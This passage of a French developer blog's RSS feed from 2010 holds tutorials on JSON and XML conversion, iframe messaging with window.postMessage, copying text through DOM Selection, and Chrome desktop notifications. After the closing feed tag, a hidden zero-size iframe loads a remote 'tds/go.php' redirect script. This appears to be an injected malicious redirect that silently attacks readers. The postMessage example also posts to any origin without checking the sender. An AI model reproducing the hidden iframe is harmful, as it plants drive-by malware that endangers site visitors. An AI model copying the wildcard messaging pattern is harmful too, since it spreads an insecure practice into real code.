		<pubDate>Tue, 11 May 2010 19:22:10 +0000</pubDate>
		<dc:creator>Cyril</dc:creator>
				<category><![CDATA[web]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[chromium]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[html5]]></category>

		<guid isPermaLink="false">http://blog.cyril.me/?p=282</guid>
		<description><![CDATA[Parce qu&#8217;on n&#8217;a pas toujours le document au format qui nous convient, ou parce qu&#8217;on a parfois besoin de repasser par des chaînes de caractères pour passer des arguments ou stocker des variables, différents outils de conversion sont mis à disposition du développeur. Conversion en passant par JSON Certains types peuvent être convertis en passant [...]]]></description>
			<content:encoded><![CDATA[<p>Parce qu&#8217;on n&#8217;a pas toujours le document au format qui nous convient, ou parce qu&#8217;on a parfois besoin de repasser par des chaînes de caractères pour passer des arguments ou stocker des variables, différents outils de conversion sont mis à disposition du développeur.</p>
<h3>Conversion en passant par JSON</h3>
<p>Certains types peuvent être convertis en passant par JSON : le texte, les objets, les tableaux, les nombres&#8230;</p>
<p>Du type javascript au texte : il faut utiliser <strong>JSON.stringify</strong><br />
<span style="text-decoration: underline;">Exemple :</span> JSON.stringify([1,2,3]) =&gt; &laquo;&nbsp;[1,2,3]&nbsp;&raquo;</p>
<p>Du texte vers un type javascript : il faut utiliser <strong>JSON.parse</strong><br />
<span style="text-decoration: underline;">Exemple :</span> JSON.parse(&laquo;&nbsp;[1,2,3]&laquo;&nbsp;) =&gt; [1,2,3] (où 1, 2 et 3 sont des entiers)</p>
<h3>Conversion d&#8217;un document DOMDocument ou XMLDocument</h3>
<p>Deux outils sont à disposition : <strong>XMLSerializer</strong> (du document vers string) et <strong>DOMParser</strong> (de string vers un document).</p>
<p><span style="text-decoration: underline;">XMLSerializer :</span> DOMDocument vers une chaîne de caractères<br />
Exemple : s = new XMLSerializer(); var documentString = s.serializeToString(document);</p>
<p><span style="text-decoration: underline;">DOMParser :</span> Conversion d&#8217;une chaîne de caractères vers un objet DOMDocument<br />
Exemple : p = new DOMParser(); var doc = p.parseFromString(&#8216;&lt;html&gt;&lt;body&gt;coucou&lt;/body&gt;&lt;/html&gt;&#8217;, &#8216;text/xml&#8217;);</p>
<h3>Compatibilité</h3>
<p>Ces APIs sont compatibles avec, entre autres, Safari 4.0+, Chrome, Firefox 3.5+, et peut-être IE&#8230; <img src='http://blog.cyril.me/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.cyril.me/2010/05/conversion-json-text-xml-javascript/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Communication avec une iframe : window postMessage</title>
		<link>http://blog.cyril.me/2010/05/html-5-dom-window-postmessage/</link>
		<comments>http://blog.cyril.me/2010/05/html-5-dom-window-postmessage/#comments</comments>
		<pubDate>Tue, 11 May 2010 06:07:27 +0000</pubDate>
		<dc:creator>Cyril</dc:creator>
				<category><![CDATA[web]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[chromium]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[html5]]></category>

		<guid isPermaLink="false">http://blog.cyril.me/?p=266</guid>
		<description><![CDATA[Il peut être parfois nécessaire d&#8217;utiliser une iframe, pour accéder par exemple à des cookies sur un autre site, se logguer, etc. Le problème est que si vous utilisez une iframe sur un domaine différent, le navigateur va vous renvoyer une erreur. iframe et sécurité Lorsque les domaine ou port diffèrent entre les deux frames, [...]]]></description>
			<content:encoded><![CDATA[<p>Il peut être parfois nécessaire d&#8217;utiliser une iframe, pour accéder par exemple à des cookies sur un autre site, se logguer, etc. Le problème est que si vous utilisez une iframe sur un domaine différent, le navigateur va vous renvoyer une erreur.</p>
<h3>iframe et sécurité</h3>
<p>Lorsque les domaine ou port diffèrent entre les deux frames, le navigateur va refuser la communication. En effet, imaginez que vous puissiez afficher une iframe cachée dans votre page, pour ensuite y récupérer des informations sensibles.</p>
<p>Exemple : dans mon site example.org, je mets une iframe vers mabanque.com et je récupère les informations bancaires de l&#8217;utilisateur de mon site (si celui-ci est déjà loggué sur le site de la banque).</p>
<h3>La solution</h3>
<p>Pour autoriser la communication entre les frames, il faut utiliser le <a title="API HTML5 window.postMessage()" href="http://www.w3.org/TR/html5/comms.html">protocole de communication entre les fenêtres</a>.</p>
<p>Cette communication se fait par évènement : une fenêtre envoie à l&#8217;autre un objet<a href="#n266_1"><sup>1</sup></a>, qui le reçoit en ajoutant un handler sur l&#8217;évènement &laquo;&nbsp;message&nbsp;&raquo;.</p>
<h3>Exemple</h3>
<p>Dans notre exemple, l&#8217;iframe enverra un message à la fenêtre principale.</p>
<p><span style="text-decoration: underline;">Fenêtre principale :</span></p>
<div class="dean_ch" style="white-space: wrap;"><ol><li class="li1"><div class="de1"><span class="co1">// On rajoute un handler d'évènement</span></div></li>
<li class="li1"><div class="de1"><span class="kw2">function</span> onMessage<span class="br0">&#40;</span>e<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; <span class="co1">// Vous pouvez vérifier l'origine de la fenêtre avec e.origin</span></div></li>
<li class="li2"><div class="de2">&nbsp; document.<span class="me1">getElementById</span><span class="br0">&#40;</span><span class="st0">'div-test'</span><span class="br0">&#41;</span>.<span class="me1">innerHTML</span> = <span class="st0">&quot;Réception du message &quot;</span> + JSON.<span class="me1">stringify</span><span class="br0">&#40;</span>e.<span class="me1">data</span><span class="br0">&#41;</span>;</div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">window.<span class="me1">addEventListener</span><span class="br0">&#40;</span><span class="st0">&quot;message&quot;</span>, onMessage, <span class="kw2">true</span><span class="br0">&#41;</span>;</div></li></ol></div>
<p><span style="text-decoration: underline;">Fenêtre iframe</span></p>
<div class="dean_ch" style="white-space: wrap;"><ol><li class="li1"><div class="de1">var dstWindow = window.<span class="me1">parent</span>;</div></li>
<li class="li1"><div class="de1"><span class="co1">// Vous pouvez choisir le domaine vers lequel vous acceptez d'envoyer un message (ici, tous les domaines)</span></div></li>
<li class="li1"><div class="de1">dstWindow.<span class="me1">postMessage</span><span class="br0">&#40;</span><span class="br0">&#91;</span><span class="nu0">1</span>,<span class="nu0">2</span>,<span class="nu0">3</span><span class="br0">&#93;</span>, <span class="st0">'*'</span><span class="br0">&#41;</span>;</div></li></ol></div>
<p><div id="266_div-test">div-test pour la réception du message</div>
<p>  <iframe src="http://paxal.net/cyril.me/266_postMessage.iframe.html"></iframe><br />
  <script>
function onMessage_266(e)
{
  document.getElementById('266_div-test').innerHTML = "Réception du message " + JSON.stringify(e.data);
}
window.addEventListener('message', onMessage_266, true);
  </script>
</p>
<p>
<a name="n266_1"><sup>1</sup></a> : en fonction du navigateur, vous ne pourrez passer que des chaînes de caractères (Firefox 3.6 par exemple &#8211; Chrome supportant les objets). Pour pallier ce défaut, vous pouvez utiliser JSON.stringify et JSON.parse pour passer des objets comme des chaines ou des variables. Pour tout ce qui est DOM, ce n&#8217;est pas possible de faire passer les handler d&#8217;évènement définis dans la fenêtre source.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.cyril.me/2010/05/html-5-dom-window-postmessage/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>HTML5 : copier avec chrome et DOM Selection</title>
		<link>http://blog.cyril.me/2010/05/html5-copier-chrome-dom-selection/</link>
		<comments>http://blog.cyril.me/2010/05/html5-copier-chrome-dom-selection/#comments</comments>
		<pubDate>Mon, 03 May 2010 20:35:50 +0000</pubDate>
		<dc:creator>Cyril</dc:creator>
				<category><![CDATA[web]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[chromium]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[html5]]></category>

		<guid isPermaLink="false">http://blog.cyril.me/?p=251</guid>
		<description><![CDATA[La question du jour : comment copier du texte en javascript. En théorie On va utiliser les objets suivants : la sélection DOM, et un Range. La sélection DOM consiste en un objet, présent dans HTML5, qui permet de gérer les sélections de texte à l&#8217;intérieur d&#8217;un document. Le range est un intervalle, qui permet [...]]]></description>
			<content:encoded><![CDATA[<p>La question du jour : comment copier du texte en javascript.</p>
<h3>En théorie</h3>
<p>On va utiliser les objets suivants : la <a title="API html5 getSelection()" href="http://www.w3.org/TR/html5/editing.html#documentSelection">sélection DOM</a>, et un <a title="API DOM Range" href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html">Range</a>.</p>
<p>La sélection DOM consiste en un objet, présent dans HTML5, qui permet de gérer les sélections de texte à l&#8217;intérieur d&#8217;un document.</p>
<p>Le range est un intervalle, qui permet de définir une zone continue dans un document.</p>
<h3>En pratique, mis bout à bout</h3>
<p>En pratique : on crée un range, on fait pointer la sélection dessus (en veillant à supprimer la sélection actuelle), et on exécute la commande &laquo;&nbsp;copy&nbsp;&raquo; pour copier la sélection dans le presse-papier.</p>
<div id="code_251">
<div class="dean_ch" style="white-space: wrap;"><ol><li class="li1"><div class="de1">var r = document.<span class="me1">createRange</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div></li>
<li class="li1"><div class="de1">r.<span class="me1">selectNode</span><span class="br0">&#40;</span>mon_element_a_selectionner<span class="br0">&#41;</span>;</div></li>
<li class="li1"><div class="de1">var s = window.<span class="me1">getSelection</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div></li>
<li class="li1"><div class="de1">s.<span class="me1">empty</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div></li>
<li class="li2"><div class="de2">s.<span class="me1">addRange</span><span class="br0">&#40;</span>r<span class="br0">&#41;</span>;</div></li>
<li class="li1"><div class="de1">document.<span class="me1">execCommand</span><span class="br0">&#40;</span><span class="st0">'Copy'</span><span class="br0">&#41;</span>;</div></li></ol></div>
</div>
<p>Exemple : <a href="javascript:copy();">copier le code javascript</a> (ne fonctionne qu&#8217;avec un navigateur compatible HTML5)<br />
<script>
function copy()
{
  var r = document.createRange();
  r.selectNode(document.getElementById('code_251'));
  var s = window.getSelection();
  if('empty' in s) s.empty();
  else s.removeAllRanges();
  s.addRange(r);
  document.execCommand('Copy');
}
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.cyril.me/2010/05/html5-copier-chrome-dom-selection/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>HTML5 : notifications et limites sur Chrome</title>
		<link>http://blog.cyril.me/2010/05/html5-chrome-notifications/</link>
		<comments>http://blog.cyril.me/2010/05/html5-chrome-notifications/#comments</comments>
		<pubDate>Mon, 03 May 2010 19:54:26 +0000</pubDate>
		<dc:creator>Cyril</dc:creator>
				<category><![CDATA[web]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[chromium]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[html5]]></category>

		<guid isPermaLink="false">http://blog.cyril.me/?p=244</guid>
		<description><![CDATA[Les notifications Introduit parmi les nouvelles fonctionnalités de l&#8217;HTML5, les notifications permettent aux sites web (que vous autorisez) de vous informer d&#8217;une activité sur un site. C&#8217;est comme les notifications de MSN messenger, quand une fenêtre apparaît en bas à droite de l&#8217;écran. L&#8217;API supporte deux fonctions pour créer des notifications : soit à partir [...]]]></description>
			<content:encoded><![CDATA[<h3>Les notifications</h3>
<p>Introduit parmi les nouvelles fonctionnalités de l&#8217;HTML5, les notifications permettent aux sites web (que vous autorisez) de vous informer d&#8217;une activité sur un site. C&#8217;est comme les notifications de MSN messenger, quand une fenêtre apparaît en bas à droite de l&#8217;écran.</p>
<p>L&#8217;API supporte deux fonctions pour créer des notifications : soit à partir d&#8217;une URL, soit à partir d&#8217;une icône, d&#8217;un titre et d&#8217;une description. Utiliser une URL d&#8217;un fichier HTML permet d&#8217;avoir beaucoup plus de possibilités, au niveau de l&#8217;interaction comme au niveau de l&#8217;affichage (gras, images, liens, etc).</p>
<h3>Utilisation dans chrome</h3>
<p>Pour l&#8217;instant, chrome est le seul navigateur à supporter ce standard (sous Linux, hein !).</p>
<p>Voici un petit exemple de script (plus de détails dans <a title="API de desktop notification par chrome" href="http://www.chromium.org/developers/design-documents/desktop-notifications/api-specification">la doc de chrome</a>) :</p>
<div class="dean_ch" style="white-space: wrap;"><ol><li class="li1"><div class="de1"><span class="kw2">function</span> showNotification<span class="br0">&#40;</span><span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; <span class="co1">// Création de l'objet, puis affichage</span></div></li>
<li class="li1"><div class="de1">  var notification = webkitNotifications.<span class="me1">createHTMLNotification</span><span class="br0">&#40;</span><span class="st0">'http://monurldenotification.com/'</span><span class="br0">&#41;</span>;</div></li>
<li class="li2"><div class="de2">&nbsp; notification.<span class="me1">show</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw2">function</span> sendNotification<span class="br0">&#40;</span><span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li2"><div class="de2">&nbsp; var auth = webkitNotifications.<span class="me1">checkPermission</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div></li>
<li class="li1"><div class="de1">&nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>auth == <span class="nu0">0</span><span class="br0">&#41;</span> showNotification<span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// Autorisé</span></div></li>
<li class="li1"><div class="de1">&nbsp; <span class="kw1">else</span> <span class="kw1">if</span><span class="br0">&#40;</span>auth == <span class="nu0">1</span><span class="br0">&#41;</span> webkitNotifications.<span class="me1">requestPermission</span><span class="br0">&#40;</span>sendNotification<span class="br0">&#41;</span>; <span class="co1">// Demande la permission</span></div></li>
<li class="li1"><div class="de1">&nbsp; <span class="kw1">else</span> <span class="br0">&#123;</span> <span class="br0">&#125;</span> <span class="co1">// Refusé</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li2"><div class="de2">&nbsp;</div></li></ol></div>
<h3>Les limites</h3>
<p>Malheureusement, il n&#8217;est pas possible de faire tout ce qu&#8217;on veut . Voici quelques limitations encore valables à ce jour :</p>
<ul>
<li>Impossible de dialoguer entre la desktop notification et le script qui l&#8217;a ouverte ;</li>
<li>Impossible de spécifier une adresse du type <a href="data:text/html,&lt;h1&gt;test&lt;/h1&gt;">data:text/html,&lt;h1&gt;test&lt;/h1&gt;</a></li>
</ul>
<p>A améliorer donc, afin d&#8217;avoir une réelle possibilité d&#8217;intégration dans des applications (type chat, &#8230;).</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.cyril.me/2010/05/html5-chrome-notifications/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
